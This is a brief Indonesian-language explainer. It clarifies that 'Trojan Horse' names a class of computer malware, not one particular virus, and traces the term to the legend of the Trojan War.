Virus Trojan atau Trojan Horse mungkin sudah pada sering dengar atau pernah melihat antivirus komputer kita mendeteksi virus yang diidentifikasi sebagai virus Trojan. Mungkin ada yang mengira trojan adalah nama suatu virus komputer layaknya seperti nama-nama virus komputer lain misalnya virus kangen, virus Brontok dan lain-lain.
Trojan Horse atau bisa disebut Trojan sebenarnya adalah suatu jenis/golongan virus bukan nama suatu virus. Istilah Trojan Horse diambil dari legenda Yunani Kuno yaitu kisah Trojan War atauPerang Troya/Troy.